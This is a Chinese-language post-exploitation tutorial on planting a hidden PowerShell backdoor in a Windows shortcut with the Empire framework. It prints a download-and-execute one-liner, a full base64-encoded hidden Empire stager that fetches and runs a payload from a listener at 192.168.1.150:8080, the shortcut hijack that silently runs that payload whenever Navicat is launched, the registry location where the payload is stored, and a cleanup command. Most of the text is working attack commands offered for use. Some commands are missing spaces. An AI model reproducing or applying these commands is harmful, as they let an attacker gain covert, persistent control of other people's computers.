后渗透篇：如何创建Powershell持久隐蔽后门

用户开机后每次运行特定的快捷方式文件时触发一段恶意的powershell 代码，原始应用程序仍然启动，原始图标保留，并且没有powershell.exe窗口弹出。

1.安装后门

这次需要用到powershell攻击框架Empire，使用Empire/data/module_source/persistence/Invoke-BackdoorLNK.ps1这个脚本

powershell-nop -exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('https://github.com/EmpireProject/Empire/raw/master/data/module_source/persistence/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK-LNKPath 'C:\ProgramData\Microsoft\Windows\StartMenu\Programs\PremiumSoft\Navicat Premium\Navicat Premium.lnk' -EncScript Base64编码"

-LNKPath是要利用的lnk的路径，每次打开这个lnk文件时都会执行原始的应用程序和 -EncScript后面的恶意powershell代码

先通过empire生成反弹的powershell代码

./empire  进入empire

输入listeners  进入监听界面  设置好ip与端口

setHost http://192.168.1.150
set Port 8080

launcher 1  生成power shell代码

powershell.exe -NoP-sta -NonI -W Hidden -Enc  WwBTAFkAcwB0AGUAbQAuAE4AZQBUAC4AUwBlAHIAdgBpAGMAZQBQAG8ASQBOAFQATQBhAE4AQQBnAGUAcgBdADoAOgBFAFgAUABlAEMAdAAxADAAMABDAE8AbgB0AEkATgBVAGUAIAA9ACAAMAA7ACQAdwBDAD0ATgBlAFcALQBPAGIAagBFAEMAdAAgAFMAeQBTAHQARQBtAC4ATgBFAFQALgBXAEUAQgBDAEwASQBFAE4AVAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAQwAuAEgARQBhAEQAZQBSAHMALgBBAGQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAQwAuAFAAUgBPAHgAeQAgAD0AIABbAFMAeQBzAFQARQBNAC4ATgBlAHQALgBXAGUAQgBSAEUAcQBVAGUAUwB0AF0AOgA6AEQARQBGAGEAdQBsAFQAVwBlAGIAUABSAE8AWAB5ADsAJAB3AEMALgBQAHIAbwBYAFkALgBDAHIARQBEAGUAbgBUAGkAYQBsAHMAIAA9ACAAWwBTAFkAUwBUAEUATQAuAE4AZQB0AC4AQwBSAEUAZABFAE4AdABpAEEAbABDAGEAYwBIAGUAXQA6ADoARABFAGYAYQB1AGwAVABOAGUAVAB3AE8AUgBLAEMAUgBFAGQARQBuAHQAaQBBAEwAUwA7ACQASwA9ACcAZQAxADAAYQBkAGMAMwA5ADQAOQBiAGEANQA5AGEAYgBiAGUANQA2AGUAMAA1ADcAZgAyADAAZgA4ADgAMwBlACcAOwAkAGkAPQAwADsAWwBDAEgAYQByAFsAXQBdACQAYgA9ACgAWwBjAGgAQQBSAFsAXQBdACgAJAB3AGMALgBEAG8AdwBuAGwATwBhAEQAUwBUAFIAaQBOAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADUAMAA6ADgAMAA4ADAALwBpAG4AZABlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAGIAWABvAFIAJABrAFsAJABJACsAKwAlACQASwAuAEwAZQBOAEcAdABIAF0AfQA7AEkARQBYACAAKAAkAGIALQBqAG8ASQBuACcAJwApAA==

这里我们只复制 -Enc 后面的代码

然后执行

powershell -nop -execbypass -c "IEX (New-ObjectNet.WebClient).DownloadString('https://github.com/EmpireProject/Empire/raw/master/data/module_source/persistence/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK-LNKPath 'C:\ProgramData\Microsoft\Windows\StartMenu\Programs\PremiumSoft\Navicat Premium\Navicat Premium.lnk' -EncScriptWwBTAHkAUwB0AGUATQAuAE4ARQBUAC4AUwBlAFIAVgBpAEMAZQBQAE8AaQBuAHQATQBBAG4AYQBnAEUAUgBdADoAOgBFAHgAUABlAEMAVAAxADAAMABDAE8ATgBUAEkATgBVAEUAIAA9ACAAMAA7ACQAVwBjAD0ATgBFAHcALQBPAEIAagBFAEMAVAAgAFMAeQBzAFQAZQBNAC4ATgBFAFQALgBXAEUAQgBDAGwASQBFAE4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAYwAuAEgAZQBBAGQARQByAFMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAQwAuAFAAcgBvAHgAWQAgAD0AIABbAFMAeQBzAFQARQBNAC4ATgBlAFQALgBXAGUAQgBSAEUAcQB1AGUAUwB0AF0AOgA6AEQARQBmAEEAdQBsAFQAVwBFAEIAUAByAE8AWABZADsAJAB3AEMALgBQAHIAbwBYAFkALgBDAHIAZQBEAEUAbgB0AGkAQQBsAFMAIAA9ACAAWwBTAHkAUwBUAEUATQAuAE4AZQBUAC4AQwBSAEUARABlAE4AdABpAGEAbABDAGEAQwBIAGUAXQA6ADoARABFAEYAQQB1AGwAdABOAGUAVAB3AE8AcgBLAEMAcgBFAEQARQBuAFQAaQBBAGwAcwA7ACQASwA9ACcAZQAxADAAYQBkAGMAMwA5ADQAOQBiAGEANQA5AGEAYgBiAGUANQA2AGUAMAA1ADcAZgAyADAAZgA4ADgAMwBlACcAOwAkAGkAPQAwADsAWwBjAEgAYQBSAFsAXQBdACQAQgA9ACgAWwBjAEgAQQByAFsAXQBdACgAJAB3AEMALgBEAE8AdwBuAEwATwBBAGQAUwBUAHIASQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADUAMAA6ADgAMAA4ADAALwBpAG4AZABlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAGIAWABPAFIAJABLAFsAJABpACsAKwAlACQASwAuAEwAZQBOAGcAdABoAF0AfQA7AEkARQBYACAAKAAkAEIALQBqAG8AaQBOACcAJwApAA=="

看到以上界面就代表后门安装完成

当我们运行navicat快捷方式的同时  可以看到powershell.exe已经悄悄的链接empire

2.实现原理

它会将原来快捷目标修改为powershell.exe的地址，并且利用powershell去运行navicat程序与恶意代码。

解密后的代码

[System.Diagnostics.Process]::Start('D:\Navicat Premium\navicat.exe');IEX([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\debug).debug)))

点击快捷方式后先执行快捷方式原来链接的目标，然后在注册表读取HKCU:\Software\Microsoft\Windows\debug的值运行（后门安装时把执行的代码加密后放到了HKCU:\Software\Microsoft\Windows\debug里面）

3.后门的清除

执行 以下命令清除后门

powershell -nop -execbypass -c "IEX (New-ObjectNet.WebClient).DownloadString('https://github.com/EmpireProject/Empire/raw/master/data/module_source/persistence/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK-LNKPath 'C:\ProgramData\Microsoft\Windows\StartMenu\Programs\PremiumSoft\Navicat Premium\Navicat Premium.lnk'Invoke-BackdoorLNK -LNKPath 'C:\ProgramData\Microsoft\Windows\StartMenu\Programs\PremiumSoft\Navicat Premium\Navicat Premium.lnk' -CleanUp"

4.总结

利用快捷方式去攻击，已经是一个很老的话题了，但是有时候渗透中添加启动项/服务/任务计划失败的情况下可以尝试用此方法，劫持一个经常使用的程序快捷方式，达到权限维持的效果，windows下基于powershell的攻击方式也会越来越强大。